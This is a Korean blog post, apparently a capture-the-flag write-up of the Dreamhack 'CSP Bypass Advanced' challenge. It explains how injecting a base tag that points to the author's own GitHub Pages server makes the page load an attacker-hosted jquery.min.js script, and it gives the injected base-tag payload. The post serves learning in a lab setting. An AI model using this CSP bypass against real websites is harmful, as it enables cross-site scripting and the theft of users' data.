본문 바로가기

카테고리 없음

dreamhack CSP Bypass Advanced

728x90

메인 화면

서버 접속 시 메인 화면이다.

 

vuln 페이지

/vuln 페이지에는 입력한 파라미터의 값이 화면에 출력됨을 확인할 수 있다.

(/vuln?param=)

http://host1.dreamhack.games:15626/vuln?param=%3Cimg%20src=https://dreamhack.io/assets/img/logo.0a8aabe.svg%3E

 

memo 페이지

/memo 페이지에는 입력한 파라미터의 값이 화면에 출력됨을 확인할 수 있다.

(/memo?memo=)

http://host1.dreamhack.games:15626/memo?memo=hello

 

/flag 페이지에는 전달된 URL에 임의 이용자가 접속할 수 있게 되어있다.

 

코드를 살펴보면 vuln.html을 렌더링해서 리턴하는 것을 알 수 있는데, 여기서 base-uri 'none' (base 태그 URI 제한) 정책이 없다는 것을 확인할 수 있다.

: 따라서 상대 경로를 사용하는 URL들이 본래 의도한 위치가 아닌 공격자의 서버에 자원을 가리키게 되어 공격자는 이를 통해 임의의 스크립트 등을 삽입할 수 있게 됨

*base태그: 랜더링 부분(문서)의 경로를 원하는 곳으로 지정하여 스크립트를 삽입할 수 있음

 

감이 안 와서 힌트를 봤는데 개인서버가 필요하다고 한다.

base 태그를 이용해 경로가 해석되는 기준점을 내 개인서버로 바꾸고, script 파일을 내 서버에 업로드해보았다.

 

일단 깃허브로 개인 서버를 구축했다.

 

개인서버 아래에 static/js/ 폴더를 생성하고 jquery.min.js 파일을 생성한 뒤 exploit code를 작성했다.

*서버가 보내오는 script의 src 경로가 /static/js/jquery.min.js 이므로 해당 경로를 내 서버에 똑같이 만들고 공격 스크립트를넣어두는 것이다.

 

<base href="https://Neul4540lll.github.io/static/js/jquery.min.js">

내 서버를 base로 설정하여 base 태그를 사용한 param을 작성한다. 전송한 뒤 memo 페이지를 확인하면 flag를 확인할 수 있다.

 

*요약

base 태그를 이용하면 CSP를 우회할 수 있다. script의 src 경로가 상대경로인 경우 그 앞에 base태그로 경로를 정해주면 해당 경로로 진입한 뒤 상대경로로 진입하게 된다.

이를 이용하여 현재 서버에서 보내오는 script의 src 경로가 상대경로인  /static/js/jquery.min.js 이므로 base 태그를 써서 공격 스크립트가 있는 내 서버의 주소를 알려주면 그 주소로 이동하여 자바스크립트를 가져오게 되는 것이다.

 

 

https://dreamhack.io/wargame/challenges/436

 

CSP Bypass Advanced

Description Exercise: CSP Bypass의 패치된 문제입니다. 문제 수정 내역 2023.08.07 Dockerfile 제공

dreamhack.io

 

728x90